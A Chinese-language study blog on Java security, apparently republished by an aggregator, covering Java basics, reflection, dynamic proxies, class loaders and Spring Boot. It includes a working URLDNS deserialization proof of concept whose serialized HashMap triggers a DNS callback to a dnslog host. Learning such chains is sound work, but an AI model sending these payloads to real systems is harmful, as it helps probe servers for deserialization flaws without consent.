java安全入門

文章目錄

  • java基礎知識
      • this變量
      • 方法可變參數
      • 構造方法
      • 繼承的關鍵字
        • protected
      • super
      • 阻止繼承
      • 方法重載
      • 向上轉型和向下轉型
      • 多態
      • 抽象
      • 接口
        • static靜態字段
        • default方法
      • final
      • 內部類
  • java序列化與反序列化
  • 反射
  • urldns鏈
  • 動態代理
  • 類加載器(ClassLoader)
    • 雙親委派模型
  • Spring Boot 2
      • 1.Spring Boot 2
      • 2. Maven
    • 特點
      • 依賴管理
      • 在 Spring Boot 2 中的具體例子:
        • 自動版本仲裁
      • 自動配好Tomcat
      • **3.Tomcat 是什么?**
        • **Tomcat 的主要功能**
        • **在 Spring Boot 中的作用**
      • 4.自動配好SpringMVC
      • **Spring MVC 和 Tomcat 的關系**
      • 配置生成對應的類
    • 容器
      • **容器的組件添加功能如何工作?**
      • **組件添加的常見方式**
        • **使用注解(最常見)**
    • 0字節截斷

跟隨Y4的路線學習

https://github.com/Y4tacker/JavaSec

java基礎知識

中途看到一個很好的網站

https://liaoxuefeng.com/books/java/quick-start/index.html

this變量

this 是一個變量,指向當前正在執行代碼的那個對象。

class Person {String name;void setName(String name) {this.name = name; // this.name 是成員變量,name 是參數}
}

方法可變參數

可變參數用類型...定義,可變參數相當于數組類型:

class Group {private String[] names;public void setNames(String... names) {this.names = names;}
}Group g = new Group();
g.setNames("Xiao Ming", "Xiao Hong", "Xiao Jun"); // 傳入3個String
g.setNames("Xiao Ming", "Xiao Hong"); // 傳入2個String

構造方法

如果既要能使用帶參數的構造方法,又想保留不帶參數的構造方法,那么只能把兩個構造方法都定義出來:

 public Person() {}public Person(String name, int age) {this.name = name;this.age = age;
}

將屬性定義為private,外部無法直接訪問,通過方法才可以訪問,而idea有自動生成get方法和set方法的快捷鍵,將鼠標移動到類里,按下alt+insert。蛋疼的是新鍵盤沒有insert…于是改成contrl+shift+G了

繼承的關鍵字

protected

一個protected字段和方法可以被其子類,以及子類的子類所訪問

super

class Person {protected String name;protected int age;public Person(String name, int age) {this.name = name;this.age = age;}
}class Student extends Person {protected int score;public Student(String name, int age, int score) {this.score = score;}
}

運行上面的代碼,會得到一個編譯錯誤,大意是在Student的構造方法中,無法調用Person的構造方法。

這是因為在Java中,任何class的構造方法,第一行語句必須是調用父類的構造方法。如果沒有明確地調用父類的構造方法,編譯器會幫我們自動加一句super();,所以,Student類的構造方法實際上是這樣:

class Student extends Person {protected int score;public Student(String name, int age, int score) {super(); // 自動調用父類的構造方法this.score = score;}
}

但是,Person類并沒有無參數的構造方法,因此,編譯失敗。

解決方法是調用Person類存在的某個構造方法。例如:

class Student extends Person {protected int score;public Student(String name, int age, int score) {super(name, age); // 調用父類的構造方法Person(String, int)this.score = score;}
}

阻止繼承

從Java 15開始,允許使用sealed修飾class,并通過permits明確寫出能夠從該class繼承的子類名稱。

例如,定義一個Shape類:

public sealed class Shape permits Rect, Circle, Triangle {...
}

方法重載

直接寫方法就行,要求參數個數或位置不能完全一致

向上轉型和向下轉型

向上轉型是可以的,即子類可以轉為父類,但向下轉型是不允許的,在類型轉換時,父類->子類無法憑空變出多的那部分功能。

Person p = new Student();

可以理解為將新建的Student實例轉化為person類,可以對person類進行相關的操作

為了避免向下轉型出錯,Java提供了instanceof操作符,可以先判斷一個實例究竟是不是某種類型:

Person p = new Person();
System.out.println(p instanceof Person); // true
System.out.println(p instanceof Student); // false

instanceof判斷一個實例是否是指定類或指定類的子類,從Java 14開始,判斷instanceof后,可以直接轉型為指定變量,避免再次強制轉型。

在邏輯關系不適合使用繼承時可以使用組合,類可以擁有其他類的實例,嵌套之后可以拿到其他類的方法和屬性

class Student extends Person {protected Book book;protected int score;
}

多態

Override(重寫)和Overload(重載)是兩個與方法相關的概念

在 Java 中,方法簽名方法名參數列表(包括參數的類型、數量和順序)組成。

Override 發生在子類中,當子類重新定義(重寫)父類中已有的方法時,稱為重寫。重寫的目的是讓子類提供自己的方法實現,覆蓋父類的實現。條件

  • 方法簽名(方法名 + 參數列表)必須與父類中的方法完全相同。

  • 返回類型必須相同(或子類方法返回類型是父類方法返回類型的子類,稱為協變返回類型)。

  • 訪問修飾符不能比父類更嚴格(例如,父類是 public,子類不能是 protected 或 private)。

  • 子類方法拋出的異常不能比父類方法拋出的異常范圍更廣。

  • 通常使用 @Override 注解來明確表示這是一個重寫方法,防止錯誤。

Overload 發生在同一個類中,當定義多個方法名相同但參數列表不同的方法時,稱為方法重載。重載方法是獨立的新方法,互不干擾。

條件

  • 方法名必須相同。
  • 參數列表必須不同(參數數量或參數類型不同)。
  • 返回類型、訪問修飾符、異常聲明可以不同,但這些不影響重載的判斷。

多態的特性就是,運行期才能動態決定調用的子類方法。對某個類型調用某個方法,執行的實際方法可能是某個子類的覆寫方法。

抽象

使用abstract修飾的類就是抽象類。抽象類無法實例化

接口

如果抽象類所有方法都是抽象方法,就可以把該類改寫為接口

interface Person {void run();String getName();
}

接口定義的所有方法默認都是public abstract的,所以這兩個修飾符寫不寫效果都一樣。接口不能定義實例字段

static靜態字段
特性實例字段靜態字段
修飾符無static使用static
所屬屬于對象屬于類
內存分配每個對象一份,存儲在堆中類加載時分配,存儲在方法區
訪問方式通過對象實例(如obj.field)通過類名或對象(如Class.field)
生命周期與對象一致與類的生命周期一致

static修飾的屬性可以直接通過類名訪問,修改會影響到所有用到該屬性的實例,因為所有實例都會共享該字段

default方法

定義:在接口中使用default關鍵字修飾的方法,提供了方法的具體實現,而非抽象方法。

向接口添加default方法不會破壞現有實現類的代碼,因為它們自動繼承默認實現。可以用 @Override重寫

包沒有父子關系。java.util和java.util.zip是不同的包,兩者沒有任何繼承關系。

查找class的順序,先查當前package,再查import的包,最后查java.lang包

final

final修飾class可以阻止被繼承

final修飾method可以阻止被子類覆寫

final修飾局部變量可以阻止被重新賦值

package abc;public class Hello {protected void hi(final int t) {t = 1; // error!}
}

內部類

定義在一個類內部的類,要實例化一個內部類,首先需要實例化它的外部類

Outer.Inner inner = outer.new Inner();

內部類除了可以引用外部類實例,還可以修改外部類的private字段

匿名類(Anonymous Class)是:Java 中一種沒有顯式名稱的類,通常用于一次性使用的場景

定義的時候就{}加入類體,new后一般跟父類名或接口名

interface MyInterface {void doSomething();
}public class Test {public static void main(String[] args) {// 匿名類實現 MyInterfaceMyInterface obj = new MyInterface() {@Overridepublic void doSomething() {System.out.println("Doing something");}};obj.doSomething();}
}

靜態內部類static修飾的內部類和Inner Class有很大的不同,它不再依附于Outer的實例,而是一個完全獨立的類,因此無法引用Outer.this,但它可以訪問Outerprivate靜態字段和靜態方法。如果把StaticNested移到Outer之外,就失去了訪問private的權限。

java序列化與反序列化

序列化的類必須實現Serializable接口,實例可以序列化,類不可以,所以類中的static修飾的成員變量也不可以,transient標記的變量同樣不可以反序列化

可以重寫writeObject和readObject方法來自定義序列化和反序列化

安全問題的產生:只要反序列化數據,重寫的readObject方法肯定就會自動執行

  1. 入口類的readObject方法里本身就存在危險方法
  2. 入口類參數中含有其他可控類,該類有危險方法
  3. 入口類參數中包含可控類,該類繼續調用其他類

反射

可以通過反射的機制修改某些成員的屬性

獲取對象的類

public class ReflectionTest {public static void main(String[] args) {Person p=new Person("abc",20);Class c=p.getClass();//反射就是操作Class}
}

從原型Class實例化對象(無參構造和有參構造)

 //無參構造方法
Class c=p.getClass();
c.newInstance();
//有參構造方法
Constructor tmp=c.getConstructor(String.class,int.class);
Person person2=(Person) tmp.newInstance("cc",10);

獲取類里面屬性

c.getField(p.name);
c.getFields();
c.getDeclaredFields();//獲取到所有修飾符修飾的屬性

修改private成員屬性

Field age=c.getDeclaredField("age");
age.setAccessible(true);
age.set(person2,21);
System.out.println(person2);

訪問類里面方法

Method[] m=c.getDeclaredMethods();
for(Method m1:m){System.out.println(m1);
}

調用類里面方法

Method m=c.getMethod("act1");
m.invoke(person2);//如果函數需要接收參數
Method m=c.getMethod("act1",String.class);
m.invoke(person2,"aaa");//私有方法訪問與私有屬性一樣

urldns鏈

沒錯,來到了入門必見的一條鏈子

這條鏈子雖然簡單,但是對我這樣的小白來說,一下子有點想不明白hashmap的反序列化為什么會跟url類產生關系,ai的過程中突然頓悟了,hashmap在反序列化時是不是會調用hashcode()方法計算鍵的哈希值(后面會跟這條鏈子),而如果這個鍵是url類呢?url類有自己重寫的hashcode方法,所以到這一步它會調用自己的hashcode方法,它自己的方法中會對域名發起一次解析請求,從而留下記錄。

先跟一下hashmap的實現

先進readObject方法

image-20250505223503632

再進最下面的hash方法

image-20250505223627908

發現調用了hashcode方法計算key,也就是計算url,那么到這里就可以知道如果傳入的類是url類,那么就會在反序列化時調用url類自己的hashcode方法了,那么它自己的hashcode方法又是什么樣的呢。

進入url類,找到hashcode方法

發現當hashcode==-1時(應該是一個默認值),會調用handle類的hashcode方法,跟進handle類

image-20250505224801559

繼續跟進

image-20250505224825774

發現在URLStreamHandler類的hashcode方法中,調用了getHostAddress方法,所以會對當前url進行一次解析

再來一個簡單的序列化反序列化驗證一手

import java.io.*;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
import java.util.Scanner;public class Hello {public static void main(String[] args) throws Exception {HashMap<URL,Integer> h=new HashMap<URL,Integer>();URL url=new URL("http://zf8tay.dnslog.cn");h.put(url,20);// 序列化到文件FileOutputStream fos = new FileOutputStream("exploit.ser");ObjectOutputStream oos = new ObjectOutputStream(fos);oos.writeObject(h);oos.close();// 反序列化(假設目標系統執行)FileInputStream fis = new FileInputStream("exploit.ser");ObjectInputStream ois = new ObjectInputStream(fis);ois.readObject(); // 反序列化時觸發 URL 的 hashCode()ois.close();}}

image-20250505223854491

這個時候發現有兩條記錄,這是為什么呢?

跟進put方法,發現同樣會調用hash方法,從而調用url類的hashcode方法,所以在序列化之前就會發起解析請求,想要阻止也很簡單,在put前通過反射修改hashcode的值不是-1,put后再改回來即可

動態代理

代理就是加入一個代理類,即可以用原來類的方法,又可以自己加入方法,避免了直接對原生類的修改。

靜態代理就是每一次調用方法都把底層邏輯寫上,而如果很多方法的調用是相似的,就可以使用動態代理簡化過程。不過要注意動態代理只能用于接口類

先寫一個接口和接口的實現

interface Myservice{void sayhello(String name);
}
class Myserviceimp implements Myservice{@Overridepublic void sayhello(String name){System.out.println("hello,"+name);}
}

動態代理的InvocationHandler,invoke方法就像readObject方法一樣,會在動態代理時自動執行

class Myhandle implements InvocationHandler{private  Object target;public Myhandle(){}public Myhandle(Object o){this.target=o;}@Overridepublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable{Object res=method.invoke(target,args);return res;}
}

主函數測試

public class DynamicProxyTest {public static void main(String[] args) {
// 創建真實對象MyService realService = new MyServiceImpl();// 創建動態代理MyService proxyService = (MyService) Proxy.newProxyInstance(MyService.class.getClassLoader(),new Class<?>[]{MyService.class},new MyInvocationHandler(realService));// 調用代理對象的方法proxyService.sayHello("Alice");}
}

類加載器(ClassLoader)

首先得知道什么是類加載器

Java的類加載器(ClassLoader)就像一個“搬運工”,負責把編譯好的.class文件(字節碼)加載到JVM(Java虛擬機)中,讓程序能用。簡單來說,它的工作是找到類文件、讀進來、然后交給JVM處理。

它先去找到類文件,然后把類文件轉換為字節流,然后JVM把這些字節流轉換為可執行的類對象。java有幾種類加載器

  • Bootstrap ClassLoader:最頂層,加載Java核心庫(比如java.lang.String)。

  • Extension ClassLoader:加載擴展庫。

  • Application ClassLoader:加載你自己寫的程序的類。

在類初始化時會執行靜態代碼塊,類實例化時會執行構造代碼塊和無參構造函數

動態加載類方法Class.forname可以自行選擇是否初始化

雙親委派模型

聽著高大上,其實就是加載類時,先試著讓上級(父加載器)加載,干不了自己再干,比如Object類,所有的類都會向上讓Bootstrap ClassLoader來加載這個類,所以無論在哪里調用這個類都是一樣的,避免了沖突與混亂。

  • 動態性:可以動態加載類,比如從網絡下載個類直接用。利用URLClassLoader類
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;public class loader {public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {URLClassLoader u=new URLClassLoader(new URL[]{new URL("file://F:\\web\\idea&vs腳本\\")});Class<?> c=u.loadClass("test");c.newInstance();}
}

同時,我們在test.java類的static區里可以加入方法,驗證類在初始化時會自動執行靜態代碼塊

public class test {static {System.out.println("已執行靜態代碼塊");}
}

image-20250506210828898

注意test.java要先編譯為test.class文件

Spring Boot 2

1.Spring Boot 2

Spring Boot 2 是基于 Spring 框架 的一個開源 Java 開發框架,旨在簡化企業級應用的開發。它通過提供“開箱即用”的配置、自動配置和嵌入式服務器,減少了開發者手動配置的工作量。Spring Boot 2 是 Spring Boot 的第二個主要版本(發布于 2018 年)

2. Maven

Maven 是一個廣泛使用的 構建自動化工具,主要用于 Java 項目管理。它通過一個中央配置文件(pom.xml,Project Object Model)來管理項目的依賴、構建、測試和部署流程。Maven 簡化了依賴管理和構建過程,避免了手動下載 JAR 文件的麻煩。

image-20250423163130713

此后可以通過maven下載依賴和進行相關測試等操作,后續把項目打成jar包,直接在目標服務器執行即可。

myapp/
├── src/
│   ├── main/
│   │   ├── java/
│   │   │   └── com/example/Application.java
│   │   ├── resources/
│   │   │   └── application.properties
│   ├── test/
│   │   └── java/
├── pom.xml
├── target/  # 編譯和打包輸出

特點

依賴管理

父項目是一個用來管理和組織其他項目的“模板”或“藍圖”項目,通常以一個 Maven 或 Gradle 配置文件(比如 pom.xml)的形式存在。在 Spring Boot 中,父項目主要用來統一管理依賴版本、配置和構建規則,讓子項目(實際的開發項目)可以直接“繼承”這些設置,簡化開發。

通俗點說,父項目就像一個“家里的管家”,它幫你把常用的工具、規則和資源(比如依賴庫的版本、編譯方式等)都整理好,寫在一本“家規”里。你的具體項目(子項目)只要認這個“管家”為“家長”,就能直接用它準備好的東西,不用自己從頭配置。

在 Spring Boot 2 中的具體例子:

Spring Boot 提供了一個官方的父項目,叫 spring-boot-starter-parent。它的 pom.xml 文件里定義了:

  • 一堆常用依賴(比如 Spring 框架、測試庫、日志庫等)的推薦版本。
  • 項目構建的默認配置(比如 Java 版本、Maven 插件等)。
  • 一些通用的屬性(比如編碼格式)。

你在子項目的 pom.xml 里通過以下方式“繼承”這個父項目:

<parent>    <groupId>org.springframework.boot</groupId>    <artifactId>spring-boot-starter-parent</artifactId>    <version>2.7.18</version> <!-- 假設用這個版本 --> </parent>
自動版本仲裁

“自動版本仲裁”指的是:當你使用 Spring Boot 的父項目(比如 spring-boot-starter-parent)或依賴管理工具(比如 spring-boot-dependencies)時,Spring Boot 會幫你“自動挑選”一些常用依賴的版本號。你在子項目的 pom.xml 文件里添加這些依賴時,不需要手動寫版本號,因為父項目已經預先定義好了這些依賴的推薦版本。

那些不在 Spring Boot 父項目或 spring-boot-dependencies 預定義列表中的依賴。因為 Spring Boot 不知道這些依賴的推薦版本,所以你需要手動指定版本號

自動配好Tomcat

3.Tomcat 是什么?

Apache Tomcat 是一個開源的 Web 服務器和 Servlet 容器,主要用于運行 Java 開發的 Web 應用。它由 Apache 軟件基金會維護,是 Java 生態中最常用的服務器之一。

通俗解釋:Tomcat 就像一個“餐廳服務員”,專門負責接收客戶的請求(比如用戶在瀏覽器訪問你的網站),然后把請求交給你的 Java 程序(比如 Spring Boot 應用)處理,再把處理結果(網頁、數據)送回給客戶。

Tomcat 的主要功能
  1. 處理 HTTP 請求:接收用戶通過瀏覽器發送的請求(比如 GET、POST),并返回響應(網頁、JSON 數據等)。
  2. 運行 Servlet 和 JSP:支持 Java 的 Servlet(處理動態請求的 Java 程序)和 JSP(Java 服務器頁面)技術,讓開發者可以構建動態網站。
  3. 嵌入式或獨立運行
    • 獨立運行:可以單獨安裝 Tomcat 作為一個服務器,把你的應用(WAR 文件)部署上去。
    • 嵌入式運行:Spring Boot 把 Tomcat 打包到應用里,運行項目時 Tomcat 直接啟動,省去部署步驟。
在 Spring Boot 中的作用
  • Spring Boot 默認把 Tomcat 作為內置 Web 服務器,包含在 spring-boot-starter-web 依賴中。

  • 你寫好 Spring Boot 應用(比如 REST API 或網頁),運行 main 方法,Tomcat 就會啟動,監聽 HTTP 請求(默認端口 8080)。

  • 你可以用瀏覽器或工具(比如 Postman)訪問 http://localhost:8080,Tomcat 會把請求交給你的代碼處理。

4.自動配好SpringMVC

Spring MVC 是 Spring 框架的一個模塊,全稱是 Spring Model-View-Controller,用于構建基于 Java 的 Web 應用程序。它是一個基于 MVC 設計模式的框架,幫助開發者以清晰的方式組織和開發 Web 項目。

MVC 模式

  • Model(模型):表示數據和業務邏輯,比如數據庫中的用戶信息或計算結果。
  • View(視圖):用戶看到的內容,比如網頁、JSON 響應。
  • Controller(控制器):接收用戶請求,協調 Model 和 View,決定“做什么”和“返回什么”。

Spring MVC 幫你把這三部分組織好,讓開發 Web 應用更簡單。

Spring MVC 和 Tomcat 的關系

  • Tomcat:是 Web 服務器,負責接收 HTTP 請求和發送響應,像“快遞員”。

  • Spring MVC:是 Web 框架,運行在 Tomcat 里,負責處理請求的邏輯,像“餐廳服務團隊”。

  • Spring Boot 把兩者結合,Tomcat 作為嵌入式服務器,Spring MVC 作為請求處理核心,開發者只管寫業務代碼。

配置生成對應的類

默認配置:Spring Boot 像個貼心的管家,給你準備了一堆默認設置(比如 Tomcat 端口、文件上傳大小),存在各種 Properties 類里(比如 MultipartProperties)。

自定義配置:你覺得默認值不合適,就在 application.properties 里寫自己的值(比如改文件上傳大小為 10MB)。

綁定到類:Spring Boot 看到你的配置文件,把值“貼”到對應的 Properties 類上(比如 MultipartProperties 的 maxFileSize 變成 10MB)。

創建對象:Spring Boot 把這個配置好的 Properties 類變成一個對象(Bean),放進 Spring 的“工具箱”(IOC 容器),程序隨時可以拿來用。

容器

在 Spring Boot(或更廣義的 Spring 框架)中,容器指的是 Spring 的 IOC 容器(Inversion of Control Container,控制反轉容器),也叫 ApplicationContext。它是一個核心機制,負責管理應用程序中的對象(稱為 Bean),包括創建、配置、組裝和生命周期管理。

容器就像一個“智能管家”或“工具箱”,專門負責存放和管理你的程序里用到的各種“工具”(對象/Bean)。這些工具可能是你的業務邏輯類、配置類(如 MultipartProperties)、數據庫連接等。容器不僅保管這些工具,還會自動幫你把它們組裝好、配置好,并在需要時拿出來用。

Spring Boot 基于 Spring 框架,使用的容器是 ApplicationContext(具體實現如 AnnotationConfigApplicationContext)。

當你啟動 Spring Boot 應用(運行 main 方法),Spring Boot 會自動創建一個容器。

容器會掃描你的代碼(比如標有 @Component、@Service、@Controller 的類)和配置(比如 application.properties),把需要的對象創建并放進去。

容器的組件添加功能如何工作?

Spring 容器通過以下步驟將組件(Bean)添加到自身:

  1. 掃描代碼

    • 容器啟動時,會掃描項目中的類,尋找標有特定注解的類(比如 @Component、@Controller、@Service、@Repository)或通過配置指定的類。
    • Spring Boot 默認掃描主類(帶 @SpringBootApplication 的類)所在包及其子包。
  2. 識別組件

    • 容器識別哪些類需要變成 Bean。通常通過注解(如 @Component)或 XML/Java 配置指定。
    • 比如,標有 @Controller 的類會被識別為 Web 控制器,標有 @Service 的類會被識別為業務邏輯組件。
  3. 創建 Bean

    • 容器為每個識別到的組件創建對象(Bean),并根據需要配置它的屬性(比如通過配置文件或依賴注入)。
    • 比如,MultipartProperties 類會被創建為一個 Bean,配置文件中的 spring.servlet.multipart.max-file-size 會綁定到它的字段。
  4. 依賴注入

    • 如果一個 Bean 需要依賴其他 Bean(比如 Controller 需要 Service),容器會自動把依賴的 Bean 注入。
    • 比如,用 @Autowired 注解標記的字段,容器會找到對應的 Bean 填充。
  5. 存儲到容器

    • 創建好的 Bean 會被存到容器中,容器給每個 Bean 分配一個名字(通常是類名首字母小寫),程序可以通過名字或類型獲取 Bean。
  6. 管理生命周期

    • 容器不僅負責添加組件,還管理 Bean 的生命周期(創建、初始化、使用、銷毀)。

組件添加的常見方式

Spring 提供了多種方式讓類被容器識別并添加為 Bean。以下是主要的添加方式,配以通俗解釋:

使用注解(最常見)

Spring 提供了一系列注解,標記在類上后,容器會自動識別并創建 Bean。

  • 常用注解
    • @Component:通用組件,表示這個類需要被容器管理。
    • @Controller / @RestController:用于 Web 控制器,處理 HTTP 請求。
    • @Service:用于業務邏輯層。
    • @Repository:用于數據訪問層(比如數據庫操作)。
    • @Configuration:用于定義配置類,里面可以聲明更多的 Bean。

0字節截斷

在JDK7u40后這個得已修復,簡單來說這個00截斷其實就是因為Java對文件系統部分的實現是用C語言做的處理,C語言中對字符串來說都認為遇到0字節\0就是字符串末尾,因此造成了這個問題。

\0 是 C 語言中表示 空字符(null character)的寫法,對應 ASCII 碼值為 0 的字符。在 Java 中,它等價于 Unicode 字符 \u0000。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/904451.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/904451.shtml
英文地址,請注明出處:http://en.pswp.cn/news/904451.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

前端基礎之《Vue(14)—組件通信(1)》

一、什么是組件通信 1、通信是組件或模塊之間的數據交互。 2、組件多重通信就形成了數據流&#xff0c;數據流管理的優劣決定了產品能否上線&#xff0c;返工是否頻繁的問題。 3、Vue中有哪些常見的通信方案&#xff1f; 組件樹的概念&#xff1a; 在Vue中&#xff0c;組件…

el-row el-col

參考layout布局 Element - The worlds most popular Vue UI frameworkElement&#xff0c;一套為開發者、設計師和產品經理準備的基于 Vue 2.0 的桌面端組件庫https://element.eleme.cn/#/zh-CN/component/layout#row-attributes 一行可以看做24個 Element UI 中的 el-row 是…

Socket-TCP

在TCP/ip協議中&#xff0c;用源IP、源端口號、目的IP、目的端口號、協議號這樣一個五元組來標識一個通信&#xff01; 端口號范圍劃分 0 - 1023: 知名端口號&#xff0c;HTTP&#xff0c;FTP&#xff0c;SSH 等這些廣為使用的應用層協議&#xff0c;他們的端口號都是固定的。…

大數據Spark(五十八):Spark Pi介紹

文章目錄 Spark Pi介紹 Spark Pi介紹 Spark Pi是Apache Spark官方提供的一個示例程序&#xff0c;該案例使用 Spark 進行分布式計算&#xff0c;通過蒙特卡羅方法估算圓周率&#xff08;π&#xff09;的值&#xff0c;其估算π原理如下&#xff1a; 上圖中&#xff0c;正方形…

Doris索引機制全解析,如何用高效索引加速數據分析

在當今大數據時代&#xff0c;企業對于實時數據分析的需求呈現爆發式增長。面對動輒PB級的數據量和秒級響應的業務訴求&#xff0c;傳統數據庫系統往往力不從心。Apache Doris作為新一代MPP分析型數據庫&#xff0c;憑借其獨特的索引機制&#xff0c;在京東、美團等企業的實時數…

基于SpringBoot + Vue 的作業管理系統

產品包含&#xff1a; 項目源碼數據庫文件論文ppt 技術棧 架構: B/S、MVC 系統環境&#xff1a;Windows/Mac 開發環境&#xff1a;IDEA、JDK1.8、Maven、Mysql 技術棧&#xff1a;Java、Mysql、SpringBoot、Mybatis、Vue 功能模塊 用戶模塊&#xff1a;學生用戶、管理員、…

HCL(HashiCorp Configuration Language)是一種結構化配置語言

HCL&#xff08;HashiCorp Configuration Language&#xff09;是一種結構化配置語言&#xff0c;語法簡潔且可讀性強&#xff0c;廣泛用于 Docker Buildx Bake、Terraform、Nomad 等工具的配置。以下是其核心語法規則和示例&#xff1a; 1. 基礎結構 HCL 使用 塊&#xff08;…

《AI大模型應知應會100篇》第50篇:大模型應用的持續集成與部署(CI/CD)實踐

第50篇&#xff1a;大模型應用的持續集成與部署&#xff08;CI/CD&#xff09;實踐 &#x1f9fe; 摘要 在AI大模型開發中&#xff0c;隨著模型版本迭代頻繁、依賴復雜、部署環境多樣&#xff0c;構建一套高效可靠的持續集成與持續交付&#xff08;CI/CD&#xff09;流程顯得尤…

【Linux深入淺出】之全連接隊列及抓包介紹

【Linux深入淺出】之全連接隊列及抓包介紹 理解listen系統調用函數的第二個參數簡單實驗實驗目的實驗設備實驗代碼實驗現象 全連接隊列簡單理解什么是全連接隊列全連接隊列的大小 從Linux內核的角度理解虛擬文件、sock、網絡三方的關系回顧虛擬文件部分的知識struct socket結構…

DB-GPT V0.7.1 版本更新:支持多模態模型、支持 Qwen3 系列,GLM4 系列模型 、支持Oracle數據庫等

V0.7.1版本主要新增、增強了以下核心特性 &#x1f340;DB-GPT支持多模態模型。 &#x1f340;DB-GPT支持 Qwen3 系列&#xff0c;GLM4 系列模型。 &#x1f340; MCP支持 SSE 權限認證和 SSL/TLS 安全通信。 &#x1f340; 支持Oracle數據庫。 &#x1f340; 支持 Infini…

2025五一數學建模競賽A題完整分析論文(共45頁)(含模型、可運行代碼、數據)

2025年五一數學建模競賽A題完整分析論文 摘 要 一、問題分析 二、問題重述 三、模型假設 四、符號定義 五、 模型建立與求解 5.1問題1 5.1.1問題1思路分析 5.1.2問題1模型建立 5.1.3問題1參考代碼 5.1.4問題1求解結果 5.2問題2 5.2.1問題2思路分析 …

[學習]RTKLib詳解:pntpos.c與postpos.c

文章目錄 RTKLib詳解&#xff1a;pntpos.c與postpos.cPart A: pntpos.c一、概述二、整體工作流程三、主要函數說明1. pntpos()2. satposs()3. estpos()4. rescode()5. prange()6. ionocorr()7. tropcorr()8. valsol()9. raim_fde()10. estvel() 四、函數調用關系圖&#xff08;…

【科研繪圖系列】R語言繪制世界地圖(map plot)

禁止商業或二改轉載,僅供自學使用,侵權必究,如需截取部分內容請后臺聯系作者! 文章目錄 介紹加載R包數據下載導入數據數據預處理畫圖輸出圖片系統信息介紹 【科研繪圖系列】R語言繪制世界地圖(map plot) 加載R包 library(ggmap) library(RColorBrewer) library(pals) …

在pycharm profession 2020.3上安裝使用xlwings

之前寫了一篇文章在win7和python3.8上安裝xlwings-CSDN博客 今天安裝了pycharm profession 2020.3&#xff0c;自帶Terminal&#xff0c;所以試一下安裝xlwings。 一、新建一個python項目 二、安裝xlwings 三、輸入安裝命令 pip3.exe install -i https://pypi.tuna.tsinghu…

【PostgreSQL數據分析實戰:從數據清洗到可視化全流程】4.3 數據脫敏與安全(模糊處理/掩碼技術)

&#x1f449; 點擊關注不迷路 &#x1f449; 點擊關注不迷路 &#x1f449; 點擊關注不迷路 文章大綱 PostgreSQL數據脫敏實戰&#xff1a;從模糊處理到動態掩碼的全流程解析4.3 數據脫敏與安全&#xff1a;模糊處理與掩碼技術深度實踐4.3.1 數據脫敏的核心技術體系4.3.1.1 技…

堅鵬:平安保險集團《保險行業發展趨勢與AI應用方法及案例》培訓

堅鵬&#xff1a;平安保險集團《保險行業發展趨勢與AI應用方法及案例》培訓圓滿成功 中國平安保險&#xff08;集團&#xff09;股份有限公司是全球領先的綜合金融生活服務集團&#xff0c;2024年位列《財富》世界500強第16位&#xff0c;連續多年蟬聯全球保險品牌價值榜首。截…

NetSuite 2025.1 學習筆記

目錄 領域、新功能統計表 值得注意功能摘要 最有價值功能詳解 1. 領域、新功能統計表 2. 值得注意功能 3. 最有價值功能 3.1 Customer 360 目前的Customer 360在加入了幾個新的控件后&#xff0c;變得完整了&#xff0c;相比較過去&#xff0c;真正有了實用感。 3.2 CSV Im…

Messenger.Default.Send 所有重載參數說明

Messenger.Default.Send 是 MVVM 框架中實現消息傳遞的核心方法,其重載參數主要用于控制消息的發送范圍和接收條件。以下是其所有重載形式及參數說明: ?1. 基本消息發送? Send<TMessage>(TMessage message) ?參數說明?: TMessage:消息類型(泛型參數),可以是任…

代碼異味(Code Smell)識別與重構指南

1、引言:什么是“代碼異味”? 在軟件開發中,“代碼異味(Code Smell)”是指那些雖然不會導致程序編譯失敗或運行錯誤,但暗示著潛在設計缺陷或可維護性問題的代碼結構。它們是代碼演進過程中的“信號燈”,提示我們某段代碼可能需要優化。 1.1 ? 為什么關注代碼異味? 預…

K8S有狀態服務部署(MySQL、Redis、ES、RabbitMQ、Nacos、ZipKin、Sentinel)

K8S部署MySQL ①、創建配置 ②、創建存儲卷 ③、創建服務 指定配置文件 指定存儲卷 ④、同樣的方式創建mysql-slaver服務&#xff08;配置文件和mysql-master不同&#xff09; ⑤、進行主從同步關聯 進入master服務中 進入從庫的終端 K8S部署Redis…